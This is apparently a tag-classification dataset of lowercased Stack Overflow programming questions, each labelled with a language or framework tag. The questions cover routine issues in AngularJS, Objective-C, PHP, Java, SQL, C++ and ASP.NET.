angularjs $http.post not posting in ie  this code:   <pre><code>        close: function (id) {             var defered = $q.defer();              $http.post( api/topicselection/close   id).                 success(function (data) {                     defered.resolve(data);                 }).                 error(function (data  status  headers  config) {                     defered.reject(data.message);                 });              return defered.promise;         }  </code></pre>   works perfectly in chrome. however in ie 9  error callback is called straight away. data  status  headers are empty  and according to fiddler/ie network traffic  request is not sent.    what is wrong with it    <h2>tip</h2>   after some investigation it seems that ie 9 &amp; angularjs do not handle a case when i simply pass id as string in message body. when i changed it to:   <pre><code>$http.post( api/topicselection/close   {id: id}) </code></pre>   then the post is sent with message body:   <blockquote>    { id :4611}  </blockquote>   however  i don t want to have an object serialized. i want to have a simple request message body as string:   <pre><code>4611 </code></pre>,angularjs
nsnumber returning different value than the original int  i am quite new to objective-c and i am trying to convert an int into a nsnumber so that i can save it into core-data.    i ve the following piece of code (index is an nsinteger)   <pre><code>- (void) associateornottoaroutine:(nsstring*)exercisename associate:(bool)associate index:(nsinteger)index  nslog(@ number w index %d  %d  [nsnumber numberwithinteger:index] index); </code></pre>   and it returns   <pre><code>number w index 170413600  2 </code></pre>   i need an int of 2 to be translated into a number 2 along with all other numbers to be translated into the correct number... could anyone tell me why i am getting this convertion  i tried reading on <code>nsnumber</code> manual but i found nothing,objective-c
add continuation block to method  i have a singleton that displays status messages:   <pre><code>+ (ffstatusdisplay*) sharedinstance {     static ffstatusdisplay* sharedinstance = nil;     static dispatch_once_t oncetoken;      dispatch_once(&amp;oncetoken       ^{         sharedinstance = [[ffstatusdisplay alloc] init];     });      return sharedinstance; }  - (void) showstatus:(nsstring*)message timeout:(float)timeout controller:(uiviewcontroller*)controller {     if (![self isdisplaying])     {         [self setisdisplaying:yes];         [self setstatusalert:[uialertcontroller alertcontrollerwithtitle:nil message:message preferredstyle:uialertcontrollerstylealert]];          [controller presentviewcontroller:[self statusalert] animated:yes completion:         ^{             [nstimer scheduledtimerwithtimeinterval:timeout target:self selector:@selector(timerexpired:) userinfo:nil repeats:no];         }];     } }  - (void)timerexpired:(nstimer *)timer {     [[self statusalert] dismissviewcontrolleranimated:yes completion:nil];     [self setstatusalert:nil];     [self setisdisplaying:no]; } </code></pre>   i would like to modify showstatus so that i can optionally call it with a completion block that executes after the message is removed by the timer. i think the declaration should be something like this:   <pre><code>- (void) showstatus:(nsstring*)message timeout:(float)timeout controller:(uiviewcontroller*)controller withblock:(nullable id (^)(void))block; </code></pre>   but i don t know how to call the block in the body of the implementation. what i ve been trying isn t right:   <pre><code>{     if (![self isdisplaying])     {         [self setisdisplaying:yes];         [self setstatusalert:[uialertcontroller alertcontrollerwithtitle:nil message:message preferredstyle:uialertcontrollerstylealert]];          [controller presentviewcontroller:[self statusalert] animated:yes completion:         ^{             [nstimer scheduledtimerwithtimeinterval:timeout target:self selector:@selector(timerexpired:) userinfo:nil repeats:no];         }];     }      block;  //this isn t right } </code></pre>   can someone show me how to do this     thanks,objective-c
how to display in landscape mode in portrait   i have a calculator screen in iphone  when i launched it  displayed in portrait but i want to display the calculator screen in landscape mode from portrait and also change the orientation  how      i tried the source code:   <pre><code>      self.view.transform = cgaffinetransformidentity;       self.view.transform = cgaffinetransformmakerotation((m_pi * (90) / 180.0));        self.view.bounds = cgrectmake(0.0  0.0  480  320); </code></pre>   it is used first time launched only landscape mode in portrait  but change the orientation not working  any one help me.,iphone
how do i send data from a form select element   how can i choose an option from a <code>&lt;select&gt;</code> element and then send that value to mysql  after that  i want a  save  button to be clicked programmatically.    <strong>html :</strong>   <pre><code>&lt;body&gt; &lt;form&gt; &lt;select name= abcd &gt; &lt;option value= a &gt;a&lt;/option&gt; &lt;option value= b &gt;b&lt;/option&gt; &lt;option value= d &gt;c&lt;/option&gt; &lt;option value= c &gt;d&lt;/option&gt; &lt;/select&gt; &lt;input type= submit  value= save  /&gt; &lt;/form&gt; &lt;/body&gt; </code></pre>   <strong>jquery :</strong>   <pre><code>&lt;script&gt; $.ajax({   url:  abc.php     data:{abcd: b }    datatype:  html     success: function(data){     $(data).find( form ).find( input[type=submit] ).click();   } }); &lt;/script&gt; </code></pre>   i tried this:   <pre><code>data:{abcd: b } //json </code></pre>   it did press on the save button  but it did not send data to mysql.    how can i both send the selected value and click on the save button,jquery
hangs at  compresstojpeg   <strong>see all 3 edits below</strong>    <strong>update: changed  read()  to  readfully()  and got some things working.  decodebytearray()  no longer returns null. the jpeg written to the card is actually a full image. the image is still not being drawn to my view. i will keep working and post another question if need be.</strong>    i am writing a video streaming client program that takes in images from a datainputstream.     because the server calls compresstojpeg() on these images  i figured i could simply take the byte array from my datainputstream  decode it  and draw the bitmap from decodebytearray() to my surfaceview. unfortunately  that method only leaves me with decodebytearray() returning null.    so i added an intermediate step. i created a compressframe() method which simply takes the byte array from the stream  creates a new yuvimage instance  and uses that to call compresstojpeg(). when run  however  this method <em>hangs on compresstojpeg</em> and <em>closes my client activity</em>. there is no fc popup  and i get no errors in my log.    i have provided the run() of the thread calling the problem method  the method itself  and the log printed before the app closes.    <strong>edit:</strong> i ve also added the receiverutils.getframe() just in case.   <pre><code>@override public void run() {      string fromserver = null;     int jpgsize;     byte[] buffer;     byte[] jpgdata;     bitmap image;     bytearrayoutputstream jpgbaos = null;      while(isitok &amp;&amp; (receiver.textin != null)){         if(!holder.getsurface().isvalid()){             continue;         }          receiverutils.init(holder);          //receive  ready  flag from camcorder         fromserver = receiverutils.receivetext(receiver);          while((fromserver != null)){              log.e( from server:    fromserver); //logging here because of null pointers when done in utils              if(fromserver.startswith( android_jpg_ready )){                  //obtain size for byte array                 jpgsize = integer.parseint(fromserver.substring(18));                 log.e( jpg size   string.valueof(jpgsize));                  //create byte array of size jpgsize                 buffer = new byte[jpgsize];                 log.e( buffer size   string.valueof(buffer.length));                  //send flag and receive image data from camcorder                 receiverutils.sendtext(receiver   android_jpg_send );                 jpgdata = receiverutils.receivedata(receiver  buffer);                  //compress jpgdata and write result to jpgbaos                 jpgbaos = receiverutils.compressframe(imgrect  jpgdata);                  //decode jpgdata into bitmap                 image = receiverutils.getframe(jpgbaos.tobytearray()  jpgsize);                 //image = receiverutils.getframe(jpgdata  jpgsize);                  //set buffer and jpgdata to null since we aren t using them                 buffer = null;                 jpgdata = null;                  //draw bitmap to canvas                 receiverutils.draw(image  holder  imgrect);                 //break; (testing one run-through)             }              //receive  ready  flag from camcorder             fromserver = receiverutils.receivetext(receiver);             if(isitok == false){                 break;             }         }         //break; (testing one run-through)     }     } </code></pre>   this is the receiverutils.compressframe() called in the previous snippet.   <pre><code>/*----------------------------------------  * compressframe(rect imgrect  byte[] input): creates new instance of yuvimage used to compress argb   * byte array data to jpeg. returns bytearrayoutputstream with data.      */      public static bytearrayoutputstream compressframe(rect imgrect  byte[] input){         boolean success = false;          bytearrayoutputstream baos = new bytearrayoutputstream();          yuvimage yuvimage = new yuvimage(input  imageformat.nv21                     imgrect.width()  imgrect.height()  null);         log.e( hey    hey );         success = yuvimage.compresstojpeg(imgrect  80  baos);         log.e( compression success:   string.valueof(success));          return baos;     } </code></pre>   finally  this is the output i m getting from my logcat. (beware some obviously hastily written debug logs.)   <pre><code>07-03 15:01:19.754: e/from server:(1634): android_jpg_ready_26907 07-03 15:01:19.754: e/jpg size(1634): 26907 07-03 15:01:19.764: e/buffer size(1634): 26907 07-03 15:01:19.764: e/to server:(1634): android_jpg_send 07-03 15:01:19.834: e/jpgin(1634): data received successfully. 07-03 15:01:19.834: e/hey(1634): hey 07-03 15:01:19.844: d/skia(1634): onflycompress </code></pre>   <strong>edit: receiverutils.getframe()</strong>   <pre><code>/*---------------------------------------  * getframe(byte[] jpgdata  int jpgsize): decodes a byte array into a bitmap and   * returns the bitmap.  */     public static bitmap getframe(byte[] jpgdata  int jpgsize){         bitmap res = null;          res = bitmapfactory.decodebytearray(jpgdata  0  jpgsize);         log.e( decode success   string.valueof(!(res == null)));                      return res;     } </code></pre>   <strong>edit 2: code before adding compression</strong>     <pre><code>//compress jpgdata and write result to jpgbaos //jpgbaos = receiverutils.compressframe(imgrect  jpgdata);  //decode jpgdata into bitmap //image = receiverutils.getframe(jpgbaos.tobytearray()  jpgsize); image = receiverutils.getframe(jpgdata  jpgsize); </code></pre>   <strong>edit 3: image after saved to sd card</strong>    the image that android holds in  jpgdata  in the first code snippet is not the entire image. i can t post it due to being a new user. i added a  writetosd  method to test. i assume that the reason it cannot be decoded is because the majority of the image is just blank space  and only a portion of the image is there.,android
can not find the class in php  i have the following code written    <pre><code>&lt; php  require_once  products.php ;     $test = new products;      $array = array(1 2 3 4 5 6 6 7 8 9 10);          $start = 4;     $limit = 9;     $value =  $test -&gt; limit($array  $start  $limit);     echo $value;  &gt; </code></pre>   when i run it  its giving me an error:   <blockquote>    fatal error: class  mx_controller  not found in   c:\xampp\htdocs\pro\application\modules\products\controllers\products.php   on line 10  </blockquote>   now there is no reason it should not find the class as its there.   <pre><code>&lt; php /**  * created by jetbrains phpstorm.  * user: ahmed  * date: 4/2/12  * time: 9:55 pm  * to change this template use file | settings | file templates.  */ class products extends mx_controller {     public function __construct()     {         parent::__construct();         $this-&gt;load-&gt;library( pagination );         $this-&gt;load-&gt;model( products_model );         $this-&gt;load-&gt;helper(array( form    url    html ));         $this-&gt;load-&gt;library(array( session    upload    parser ));      }      public function home()     {         $this-&gt;load-&gt;view( products/home );     }      public function pre_search()     {         redirect( products/search/  . $this-&gt;input-&gt;post( keyword ));     }      public function limit($array  $start  $limit)     {         $result = array();         for($i = 0  $j = $start; ($j &lt; $start + $limit) &amp;&amp; ($j &lt; count($array)); $j++  $i++)             $result[$i] = $array[$j];         return $result;     }      public function search($keyword)     {         $products = $this-&gt;products_model-&gt;search($keyword);         $data[ zerorows ] = empty($products);         if(!empty($products)){             $config[ cur_tag_open ] =  &lt;span class= current &gt; ;             $config[ cur_tag_close ] =  &lt;/span&gt; ;             $config[ num_tag_open ] =  &lt;span class= page larger &gt; ;             $config[ num_tag_close ] =  &lt;/span&gt; ;             $config[ base_url ] = base_url() .  products/search/  . $keyword;             $config[ total_rows ] = count($products);             $config[ per_page ] = product_perpage;             $config[ uri_segment ] = 4;             $this-&gt;pagination-&gt;initialize($config);             $page = ($this-&gt;uri-&gt;segment(4))   $this-&gt;uri-&gt;segment(4) : 0;             $products = $this-&gt;limit($products  $page  product_perpage);             $data[ links ] = $this-&gt;pagination-&gt;create_links();         }         $data[ products ] = $products;         $this-&gt;load-&gt;view( products/index   $data);     }      public function makeslist()     {         $makes = $this-&gt;products_model-&gt;getmakes();         $data[ makes ] = $makes;         $this-&gt;load-&gt;view( products/makes   $data);     }     public function pricelist()     {         $this-&gt;load-&gt;view( products/prices );     }       public function make($make)     {         $products = $this-&gt;products_model-&gt;getlistby_make($make);         $data[ zerorows ] = empty($products);         if(!empty($products)){         $config[ cur_tag_open ] =  &lt;span class= current &gt; ;         $config[ cur_tag_close ] =  &lt;/span&gt; ;         $config[ num_tag_open ] =  &lt;span class= page larger &gt; ;         $config[ num_tag_close ] =  &lt;/span&gt; ;         $config[ base_url ] = base_url() .  products/make/  . $make;         $config[ total_rows ] = count($products);         $config[ per_page ] = product_perpage;         $config[ uri_segment ] = 4;         $this-&gt;pagination-&gt;initialize($config);         $page = ($this-&gt;uri-&gt;segment(4))   $this-&gt;uri-&gt;segment(4) : 0;         $products = $this-&gt;limit($products  $page  product_perpage);             $data[ links ] = $this-&gt;pagination-&gt;create_links();         }         $data[ products ] = $products;          $this-&gt;load-&gt;view( products/index   $data);     }      public function price($lower  $upper)     {         $products = $this-&gt;products_model-&gt;getlistby_price($lower  $upper);         $data[ zerorows ] = empty($products);         if(!empty($products)){         $config[ cur_tag_open ] =  &lt;span class= current &gt; ;         $config[ cur_tag_close ] =  &lt;/span&gt; ;         $config[ num_tag_open ] =  &lt;span class= page larger &gt; ;         $config[ num_tag_close ] =  &lt;/span&gt; ;         $config[ base_url ] = base_url() .  products/price/  . $lower .  /  . $upper;         $config[ total_rows ] = count($products);         $config[ per_page ] = product_perpage;         $config[ uri_segment ] = 5;         $this-&gt;pagination-&gt;initialize($config);         $page = ($this-&gt;uri-&gt;segment(5))   $this-&gt;uri-&gt;segment(5) : 0;         $products = $this-&gt;limit($products  $page  product_perpage);             $data[ links ] = $this-&gt;pagination-&gt;create_links();         }         $data[ products ] = $products;          $this-&gt;load-&gt;view( products/index   $data);     }       public function index()     {         $products = $this-&gt;products_model-&gt;getlist(product_homepage  false);         $data[ zerorows ] = empty($products);         if(!empty($products)){         $config[ cur_tag_open ] =  &lt;span class= current &gt; ;         $config[ cur_tag_close ] =  &lt;/span&gt; ;         $config[ num_tag_open ] =  &lt;span class= page larger &gt; ;         $config[ num_tag_close ] =  &lt;/span&gt; ;         $config[ base_url ] = base_url() .  products/index ;         $config[ total_rows ] = count($products);         $config[ per_page ] = product_homepage;         $config[ uri_segment ] = 3;         $this-&gt;pagination-&gt;initialize($config);         $page = ($this-&gt;uri-&gt;segment(3))   $this-&gt;uri-&gt;segment(3) : 0;         $products = $this-&gt;limit($products  $page  product_homepage);         $data[ links ] = $this-&gt;pagination-&gt;create_links();         }         $data[ products ] = $products;         $this-&gt;load-&gt;view( products/index   $data);      }      public function show($id)     {         $product = $this-&gt;products_model-&gt;getproduct_by_id($id);         if(!empty($product))         {             $product[0]-&gt;reviews = modules::run( reviews/index   $id);             $product[0]-&gt;reviewform = modules::run( reviews/addnew   $id);             $this-&gt;load-&gt;view( products/show   $product[0]);         }         else             show_error( product with id:   . $id .   not found in database. );     }      public function create()     {         $this-&gt;load-&gt;helper( form );         $this-&gt;load-&gt;library( form_validation );         $this-&gt;form_validation-&gt;set_rules( make    make    required );         $this-&gt;form_validation-&gt;set_rules( model_no    model number    required );         $this-&gt;form_validation-&gt;set_rules( description    description    required );         $this-&gt;form_validation-&gt;set_rules( price    price    required );         $this-&gt;form_validation-&gt;set_rules( image_url    image    callback__do_upload );         if($this-&gt;form_validation-&gt;run($this) === false)         {             $this-&gt;session-&gt;set_flashdata( message   validation_errors());             $this-&gt;load-&gt;view( products/new );         }         else         {             $post = array();             $post[ seller_id ] = $this-&gt;input-&gt;post( seller_id );             $post[ make ] = $this-&gt;input-&gt;post( make );             $post[ model_no ] = $this-&gt;input-&gt;post( model_no );             $post[ description ] = $this-&gt;input-&gt;post( description );             $post[ price ] = $this-&gt;input-&gt;post( price );             $post[ image_url ] = $this-&gt;input-&gt;post( image_url );             $post[ thumb_url ] = $this-&gt;input-&gt;post( thumb_url );             $this-&gt;products_model-&gt;save($post);             $this-&gt;load-&gt;view( products/done );         }     }      public function _do_upload()     {         $field_name =  image_url ;         if ( ! $this-&gt;upload-&gt;do_upload($field_name))         {             $this-&gt;form_validation-&gt;set_message( _do_upload   $this-&gt;upload-&gt;display_errors());             return false;         }         else         {             $filedata = $this-&gt;upload-&gt;data();             $this-&gt;load-&gt;library( image_moo );             if($filedata[ image_height ] &gt; image_height || $filedata[ image_width ] &gt; image_width)             {                 $this-&gt;image_moo-&gt;load($filedata[ full_path ]);                 $this-&gt;image_moo-&gt;resize(image_width  image_height);                 $this-&gt;image_moo-&gt;save($filedata[ full_path ]);             }             $this-&gt;image_moo-&gt;load($filedata[ full_path ]);             $this-&gt;image_moo-&gt;resize(thumb_width  thumb_height  false);             $this-&gt;image_moo-&gt;save_pa(     _thumb   true);             $_post[ image_url ] =  upload_path . $filedata[ file_name ];             $_post[ thumb_url ] =  upload_path . $filedata[ raw_name ] .  _thumb  . $filedata[ file_ext ];             return true;         }     }      public function addnew()     {         $isloggedin = $this-&gt;session-&gt;userdata( isloggedin );         if($isloggedin)         {             $data[ seller_id ] = $this-&gt;session-&gt;userdata( userid );             $this-&gt;load-&gt;view( products/new   $data);         }         else         {             $this-&gt;session-&gt;set_flashdata( message    you must be logged in  to list a product for selling. );             redirect( /products );         }     } } </code></pre>,php
very simple code for number search gives me infinite loop  i am a newbie computer science high school student and i have trouble with a small snippet of code. basically  my code should perform a basic cli search in an array of integers. however  what happens is i get what appears to be an infinite loop (bluej  the compiler i m using  gets stuck and i have to reset the machine). i have set break points but i still don t quite get the problem...(i don t even understand most of the things that it tells me)    here s the offending code (assume that  arrayutil  works  because it does):   <pre><code>import java.util.scanner; public class intsearch {    public static void main(string[] args)    {        search();    }     public static void search()    {        int[] randomarray = arrayutil.randomintarray(20  100);        scanner searchinput = new scanner(system.in);        int searchint = searchinput.nextint();        if (findnumber(randomarray  searchint) == -1)        {            system.out.println( error );        }else system.out.println( searched number:   + findnumber(randomarray  searchint));    }     private static int findnumber(int[] searchedarray  int searchterm)    {       for (int i = 0; searchedarray[i] == searchterm &amp;&amp; i &lt; searchedarray.length; i++)       {           return i;       }       return -1;    } } </code></pre>   this has been bugging me for some time now...please help me identify the problem!,java
it is good practice to use a viewcontroller for each containerview  is it a good practice to use a viewcontroller for each containerview of a segmentedcontrol tab,ios
using the lag function to find a moving average in sql  i need to find a moving average for the previous 12 rows. i need to have my result set look like this.    <pre><code>t   year    month   sales   movingaverage 1   2010      3      20     null 2   2010      4      22     null 3   2010      5      24     null 4   2010      6      25     null 5   2010      7      23     null 6   2010      8      26     null 7   2010      9      28     null 8   2010      10     26     null 9   2010      11     29     null 10  2010      12     27     null 11  2011      1      28     null 12  2011      2      30     null 13  2011      3      27     25.67 14  2011      4      29     26.25 15  2011      5      26     26.83 </code></pre>   for row 13 i need to average rows 1 to 12 and have the result returned in row 13 column movingaverage. rows 1-12 have a movingaverage of null because there should be at least 12 previous rows for the calculation. rows t  year  month  and sales already exist. i need to create the movingaverage row. i am using postgresql but the syntax should be very similar.,sql
prevent suggestion for input field in html in all browser  i have an html form which contains the various field.    simply we all know that every browser will show some suggestion for the input field.     like an email input field. when you enter or click on that input it shows the previously entered email or any other values. i have cleared and done all procedures for stopping that behavior.  but still  i get previously entered data in the input field. (as in shown in image)    so how do i remove that suggestion or previously entered data   or how do i prevent that automatic suggestion for the input field       this is my html sample code for input field.   <pre><code>&lt;div class= form-group  &gt;     &lt;div class= col-xs-12 &gt;         &lt;input class= form-control  type= email  name= email  id= login_email  required placeholder= user email  data-parsley-type= email &gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   <a href= https://i.stack.imgur.com/sgx4y.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/sgx4y.png  alt= enter image description here ></a>,html
why double width = 50/110000; the output is 0.000000000000000   this is my code :   <pre><code>double width = 50/110000; system.out.println( width ori is  +width ); </code></pre>   and the output is: <code>0.00000000000</code>    what s wrong   the expected output has to be <code>4.5454545454545455e-4</code>    any body can explain to me why,java
how to add cocoa framework  to my in iphone application  thanks in advance .     how to add cocoa framework into my iphone application.if i include also it is giving an error . because i have downloaded an iphone app. it has imported    <pre><code>#ifdef __objc__     #import &lt;cocoa/cocoa.h&gt; #endif  </code></pre>   like this. if i try to execute it is giving an error .i have downloaded app from <a href= http://www.macresearch.org/tutorial-intro-core-animation  rel= nofollow >http://www.macresearch.org/tutorial-intro-core-animation</a> in that side heading  let s animate...     if any one know please help me.,iphone
how do you create a button that will take you to a viewcontroller from a cell in tableview   i ve written some code in a .m file and there is a separate .xib file. in the application the user should just press the arrow and end up on the next page. how would that be made,objective-c
py2app compile app for older mac versions  hi  i m developing a python program for mac  and i get an error when i try and use the application on an older version of mac. for example  i m developing on mac 10.8.2 and the application is not running on 10.7.*    is there any way to compile the program (using py2app) so that it is compatible with older mac versions     thanks,python
response.redirect() turns response.redirectlocation null  i have a group of asp.net applications that all share a common httpmodule that contains some code like this:   <pre><code>public class mymodule : ihttpmodule {     public void dispose()     {     }     public void init( httpapplication context )     {         context.error += new eventhandler( context_error );     }     private void context_error( object sender  eventargs e )     {         var lasterror = httpcontext.current.server.getlasterror();         dosomestuffwitherror(lasterror);         var response = httpcontext.current.response;         var redirect = geterrorredirect(lasterror);         response.redirect(redirect  true);     } } </code></pre>   this works totally fine for all of my applications except for one. in the case of the one that doesn t work correctly  response.redirect(...) doesn t seem to work. instead of the redirect i expect  asp.net is redirecting to its standard error page. i ve checked the configuration of this application and don t see anything wrong or significantly different from the other applications.    while investigating this issue  i modified the error handler with one more line of code as follows:   <pre><code>private void context_error( object sender  eventargs e ) {     var lasterror = httpcontext.current.server.getlasterror();     dosomestuffwitherror(lasterror);     var response = httpcontext.current.response;     var redirect = geterrorredirect(lasterror);      //setting a break point here  i ve verified that  redirect  has a value in all cases     response.redirect(redirect  true);      var wtf = response.redirectlocation;     //inspecting the value of  wtf  here shows that it is null for one application  but equal to  redirect  in all others.  } </code></pre>   when i set a break point on  wtf  i m seeing some strange behavior. for applications that work  wtf contains the same value as redirect. however  for my app that isn t working  wtf is null.    anyone have any ideas on what would cause wtf to be null in this way,asp.net
what unsigned char data[0]; means  i found this line defined in a structure in a c source code   <pre><code>unsigned char data[0]; </code></pre>   is it a buffer with unlimeted length  is it supported in the c89 or only in c99,c
is there a  not found  exception for jquery selector   i just spent  hours  with the following scenario: (all back to the basics)   <pre><code> $( #typo ).bind( click  etc ... </code></pre>   i had a typo in the selector  but jquery  resolves    <pre><code>$( #funny something out there ).bind(... </code></pre>   without any warning.    is it possible to tell jquery to raise an error when your selector gets nothing     something like this:   <pre><code> $( #typo   alert( stupid  nothing here! like  +  #typo)) </code></pre>   <strong>edit</strong>    i spoke against me:   <pre><code>$( #typo   alert( stupid  nothing here! like  +  #typo)) </code></pre>   is not a solutiuon. i have to know where the error is to extend  the selector,jquery
asp.net decimal.parse()  i have problem in webpage   visual studio claims that problem is with this line <code>decimal newamount = plnamount * decimal.parse(item.value);</code>. the solution is crushed when i choose the current (web page is simple current converter) .    this is listing of currencyconverter.aspx.cs   <pre><code>using system; using system.web; using system.web.ui; using system.web.ui.webcontrols; using system.web.ui.htmlcontrols; public partial class currencyconverter : system.web.ui.page {     protected void page_load(object sender  eventargs e)     {         if (this.ispostback == false)         {             // the htmlselect control accepts text or listitem objects.             currency.items.add(new listitem( euros    0.25 ));             currency.items.add(new listitem( us dollar    0.32 ));             currency.items.add(new listitem( british pound    0.205 ));         }     }     protected void convert_serverclick(object sender  eventargs e)     {          decimal plnamount;          bool success = decimal.tryparse(pln.value out plnamount);         if (success)         {             plnamount = decimal.parse(pln.value);             listitem item = currency.items[currency.selectedindex];             decimal newamount = plnamount * decimal.parse(item.value); //prollematic line              result.innertext = plnamount.tostring() +   polish pln =  ;             result.innertext += newamount.tostring() +     + item.text;         }         else result.innertext =  invalid content ;     } } </code></pre>   this is listing of currencyconverter.aspx   <pre><code>&lt;%@ page language= c#  autoeventwireup= true  codefile= currencyconverter.aspx.cs  inherits= currencyconverter  %&gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;title&gt;currency converter&lt;/title&gt; &lt;/head&gt; &lt;body&gt; simple currency converter in asp.net web forms &lt;br /&gt;  &lt;form id= form1  runat= server &gt; &lt;div&gt; convert: &amp;nbsp; &lt;input type= text  id= pln  runat= server  /&gt; &amp;nbsp; polish pln to euros. &lt;select id= currency  runat= server  /&gt; &lt;br /&gt;&lt;br /&gt; &lt;input type= submit  value= ok  id= convert  runat= server  onserverclick= convert_serverclick  /&gt; &lt;br /&gt;&lt;br /&gt; &lt;div style= font-weight: bold  id= result  runat= server &gt;&lt;/div&gt; &lt;/div&gt; &lt;/form&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   this code is changed listing from apress  pro asp.net 3.5 in c# 2008  second edition  (original version) from chapter 5. link to source code apress.com/book/downloadfile/3803 . i have exactly the same problem in the same line    original source code from the book    *aspx                  currency converter              <pre><code>    &lt;div style= border-right: thin ridge; padding-right: 20px; border-top: thin ridge;         padding-left: 20px; padding-bottom: 20px; border-left: thin ridge; width: 531px;         padding-top: 20px; border-bottom: thin ridge; font-family: verdana; background-color: #ffffe8 &gt;     convert: &amp;nbsp;     &lt;input type= text  id= us  runat= server  style= width: 102px  /&gt;&amp;nbsp; u.s. dollars to &amp;nbsp;     &lt;select id= currency  runat= server  /&gt;     &lt;br /&gt;&lt;br /&gt;     &lt;input type= submit  value= ok  id= convert  runat= server  onserverclick= convert_serverclick  /&gt;     &lt;input type= submit  value= show graph  id= showgraph  runat= server  onserverclick= showgraph_serverclick  /&gt;     &lt;br /&gt;&lt;br /&gt;     &lt;img id= graph  alt= currency graph  scr=   runat= server  /&gt;     &lt;br /&gt;&lt;br /&gt;     &lt;div style= font-weight: bold  id= result  runat= server &gt;&lt;/div&gt;   &lt;/div&gt; &lt;/form&gt; </code></pre>        *aspx.cs    using system; using system.web; using system.web.ui; using system.web.ui.webcontrols; using system.web.ui.htmlcontrols;    public partial class currencyconverter : system.web.ui.page {     protected void page_load(object sender  eventargs e)     {         if (this.ispostback == false)         {             // the htmlselect control accepts text or listitem objects.             currency.items.add(new listitem( euros    0.85 ));             currency.items.add(new listitem( japanese yen    110.33 ));             currency.items.add(new listitem( canadian dollars    1.2 ));         }         graph.visible = false;     }     protected void convert_serverclick(object sender  eventargs e)     {         decimal amount;         bool success = decimal.tryparse(us.value  out amount);         if (success)         {             // retrieve the selected listitem object by its index number.             listitem item = currency.items[currency.selectedindex];   <pre><code>        decimal newamount = amount * decimal.parse(item.value);         result.innertext = amount.tostring() +   u.s. dollars =  ;         result.innertext += newamount.tostring() +     + item.text;     }     else     {         result.innertext =  the number you typed in was not in the correct format.  ;         result.innertext +=  use only numbers. ;     } }  protected void showgraph_serverclick(object sender  eventargs e) {     graph.src =  pic  + currency.selectedindex.tostring() +  .png ;     graph.visible = true; } </code></pre>   }    problem solved    this is link to print screen with this error. <a href= http://img210.imageshack.us/f/currencyerror.png/  rel= nofollow noreferrer >http://img210.imageshack.us/f/currencyerror.png/</a>,asp.net
must default function parameters be constant in c++  <pre><code>void some_func(int param = get_default_param_value()); </code></pre>,c++
using  require  in directive to require a parent controller  i try to  require  a parent controller (not directive) but angularjs returns an exception. the code is like this:   <h1>js</h1>  <pre><code>app.controller( mycontroller   function ($scole) {     ... });  app.directive( mydirective   function ($q) {     return {         require:  ^mycontroller           template:             link: function (scope  element  attrs  myctrl) {             ...         }     }; }); </code></pre>  <h1>html</h1>  <pre><code>&lt;div ng-controller= mycontroller as myctrl &gt;     ...         &lt;div my-directive&gt;...&lt;/div&gt;     ... &lt;/div&gt; </code></pre>  <h1>error</h1>  <blockquote>    error: [$compile:ctreq] controller  mycontroller   required by   directive  mydirective   can t be found!  </blockquote>   why <br> maybe  <code>require</code> property must be reference to a controller of <strong>directive</strong>     thanks,angularjs
microsoft .net framework logo image  where can i find a official png image of the microsoft .net framework 4.0 suitable for graphic designers (transparent background  reasonable size  etc.)     thanks.,.net
issue with loop repeating one more time than it should <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; #include &lt;string&gt;  using namespace std;  int main() {     char terminate;     double a  b  answer;     char operators;      cout &lt;&lt;  please enter your expression:  ;     terminate = cin.peek();     cin &gt;&gt; a &gt;&gt; operators &gt;&gt; b;      while (terminate !=  q )     {         switch(operators)         {             case  + :                 answer = a + b;                 break;             case  - :                 answer = a - b;                 break;             case  * :                 answer = a * b;                 break;             case  / :                 answer = a / b;                 break;             case  ^ :                 answer = pow(a b);                 break;         }          cout &lt;&lt; a &lt;&lt;     &lt;&lt; operators &lt;&lt;     &lt;&lt; b &lt;&lt;   =   &lt;&lt; answer &lt;&lt; endl;          cout &lt;&lt;  please enter your expression:  ;         cin.clear();         terminate = cin.peek();         cin &gt;&gt; a &gt;&gt; operators &gt;&gt; b;     }      return 0; } </code></pre>   this is my simple calculator program  it is meant to repeat and ask the user to enter a binary expression until the value  q  is entered  however upon entering  q  the while loop still executes once more even though the variable terminate has the value of  q . i don t understand why it is doing this  any help would be appreciated. thanks,c++
how to fill up a select with the options of another select  how i can fill up my select #2 with the option value of select #1 using jquery     for example select #1 is:   <pre><code>&lt;select id= #1 &gt;     &lt;option value= 1 &gt;val 1&lt;/option&gt;     &lt;option value= 2 &gt;val 2&lt;/option&gt;     &lt;option value= 3 &gt;val 3&lt;/option&gt; </code></pre>    my select #2 should be like this:   <pre><code>      &lt;select id= #2 &gt;         &lt;option value= 1 &gt;1&lt;/option&gt;         &lt;option value= 2 &gt;2&lt;/option&gt;         &lt;option value= 3 &gt;3&lt;/option&gt;       &lt;/select&gt; </code></pre>,jquery
suggestions on how to design a sql table to store menu item modifiers   i ve been searching for hours but i guess i can t find the right terms. say you were making an online ordering system with 6 products and wanted to allow modifiers (some swap ingredients  some add extra to the cost  etc).     my idea right now is to create the products table with the 6 main items. then i d create a table for each item that includes the modifiers only for that item.     i m trying to figure out how to get them stored in a sql database  and able to be displayed as a receipt.     for example:   <pre><code>order # 123512353  ##### item 1 #####         hamburger       $8 ---add cheese + $1 ---no ketchup         ##### item 2 ##### hamburger       $8 ---no lettuce  total          $17 </code></pre>   i plan on using sessions and to allow for up to 12 items per ticket. i just can t figure out how to associate the item modifiers to the items on a per ticket basis.,sql
